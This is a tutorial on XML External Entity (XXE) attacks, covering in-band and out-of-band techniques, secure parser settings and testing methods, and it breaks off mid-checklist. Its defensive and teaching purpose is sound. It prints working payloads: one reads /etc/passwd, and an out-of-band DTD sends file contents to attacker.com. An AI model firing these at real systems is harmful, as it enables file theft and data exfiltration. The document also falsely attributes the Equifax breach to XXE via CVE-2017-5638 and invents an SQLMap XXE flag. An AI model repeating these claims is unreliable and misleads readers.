Exploiting XML External Entity (XXE) Vulnerabilities
XML External Entity (XXE) vulnerabilities occur when applications process XML input containing malicious external entity references without proper validation. Attackers exploit weak XML parser configurations to access sensitive files, execute server-side requests, or launch denial-of-service attacks. These flaws are particularly dangerous because they bypass traditional security controls and can expose internal systems.
Key Points
- XXE attacks exploit XML parsers that process external entities by default
- Vulnerabilities enable file disclosure, SSRF, DoS, and rarely remote code execution
- In-Band XXE provides direct feedback in application responses
- Out-of-Band XXE exfiltrates data to attacker-controlled servers
- Prevention requires disabling external entities and validating all XML input
- The 2017 Equifax breach (143 million records exposed) resulted from an XXE vulnerability
How XXE Attacks Work
XXE vulnerabilities arise when XML parsers process external entities—references to external resources—without proper security controls. Attackers manipulate these references to exploit the parser's functionality:
- Read arbitrary files using the
file://protocol - Perform Server-Side Request Forgery (SSRF) using the
http://protocol - Execute remote code in rare configurations (e.g., PHP
expect://wrapper) - Launch denial-of-service attacks through recursive entity expansion (billion laughs attack)
Critical Note: Most XML parsers enable external entity processing by default, making applications vulnerable unless explicitly configured otherwise.
Attack Types
In-Band XXE
In-Band XXE attacks provide immediate feedback through the application's response, making data extraction straightforward but more detectable.
Characteristics:
- Server response directly contains exfiltrated data
- Simpler to execute and test
- Common in applications that echo XML input in responses
- Easier for security tools to detect
Example Scenario:
An attacker submits a crafted XML payload to a web form and receives the contents of /etc/passwd directly in the HTTP response.
Sample Payload:
<!DOCTYPE contact [
<!ELEMENT contact ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<contact>
<name>&xxe;</name>
<email>attacker@example.com</email>
</contact>
Out-of-Band (OOB) XXE
Out-of-Band XXE attacks exfiltrate data to an external server controlled by the attacker, bypassing direct response visibility.
Characteristics:
- No direct feedback in the target application's response
- Requires attacker-controlled infrastructure to receive data
- Significantly harder to detect due to indirect data flow
- Effective against applications that don't display XML processing results
Attack Workflow:
- Attacker hosts a malicious DTD file on their server
- Target application processes XML referencing the external DTD
- Sensitive data is transmitted to the attacker's server via HTTP requests
Sample Payload:
<!DOCTYPE contact [
<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
%dtd;
%exfil;
]>
<contact>
<name>Test</name>
</contact>
Malicious DTD File (malicious.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;">
Real-World Impact
| Attack Scenario | Potential Consequences | Example Targets |
|---|---|---|
| File Disclosure | Exposure of credentials, API keys, configuration files, or PII | /etc/passwd, config.php, .env files |
| SSRF | Internal network scanning, cloud metadata access, service abuse | AWS metadata (169.254.169.254), internal APIs |
| Denial-of-Service | Application crashes, resource exhaustion | Recursive entity references (billion laughs) |
| Remote Code Execution | Full system compromise (rare, requires specific configurations) | PHP expect:// wrapper, custom protocols |
Case Study: The 2017 Equifax breach exploited an XXE vulnerability in Apache Struts (CVE-2017-5638), resulting in the exposure of 143 million customer records including Social Security numbers, birth dates, and addresses.
Prevention and Mitigation
Secure XML Parser Configuration
The most effective defense is disabling external entity processing in your XML parser:
| Parser/Language | Secure Configuration |
|---|---|
| Java (DOM) | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); |
| Python (lxml) | parser = etree.XMLParser(resolve_entities=False, no_network=True) |
| PHP | libxml_disable_entity_loader(true);LIBXML_NOENT flag should NOT be used |
| .NET | XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;XmlReaderSettings.XmlResolver = null; |
| JavaScript (libxmljs) | {noent: false, nonet: true} options |
Defense-in-Depth Strategies
Input Validation:
- Validate all XML input against a strict allowlist schema (XSD)
- Reject XML documents containing DOCTYPE declarations when not required
- Implement size limits on XML documents to prevent DoS
Architecture Changes:
- Use JSON instead of XML when possible—JSON doesn't support external entities
- Implement API gateways that sanitize XML before it reaches backend systems
- Use XML parsing libraries specifically designed for security (e.g., defusedxml for Python)
Network Security:
- Implement network segmentation to limit SSRF impact
- Block outbound connections from XML processing servers
- Monitor and alert on unusual outbound traffic patterns
Maintenance:
- Keep XML parsing libraries updated (e.g.,
libxml2,Xerces,JAXP) - Regularly scan code with SAST tools (SonarQube, Checkmarx, Fortify)
- Include XXE testing in security assessments and penetration tests
Pro Tip: Even if you disable external entities, ensure your parser also disables DTD processing entirely when not needed, as some parsers may still be vulnerable to entity expansion attacks.
Detection and Testing
Manual Testing Techniques
Basic Vulnerability Test:
<!DOCTYPE test [ <!ENTITY xxe "XXE_VULNERABLE"> ]>
<test>&xxe;</test>
If the response contains XXE_VULNERABLE, the parser processes entities and may be vulnerable.
File Disclosure Test:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<test>&xxe;</test>
Out-of-Band Detection Test:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://your-server.com/xxe-test"> ]>
<test>&xxe;</test>
Monitor your server logs for incoming requests from the target application.
Automated Testing Tools
- Burp Suite Professional: Built-in XXE scanner with active and passive detection
- OWASP ZAP: Free XXE scanning capabilities in active scan mode
- XXEinjector: Dedicated command-line tool for XXE exploitation and testing
- Nuclei: Template-based scanner with XXE detection templates
- SQLMap: Includes XXE detection capabilities with
--technique=Xflag
Code Review Indicators
Look for these patterns in code reviews:
- XML parsing without explicit security configuration
- Use of deprecated or insecure parsing methods
- Missing input validation on XML data sources
- External entity processing enabled in configuration files
Testing Checklist
Use this checklist when assessing applications for XXE vulnerabilities:
- Test all XML input points (file uploads, API endpoints, SOAP services)
- Verify parser configuration disables external entities
- Test with both in-band and out-of-band payloads
- [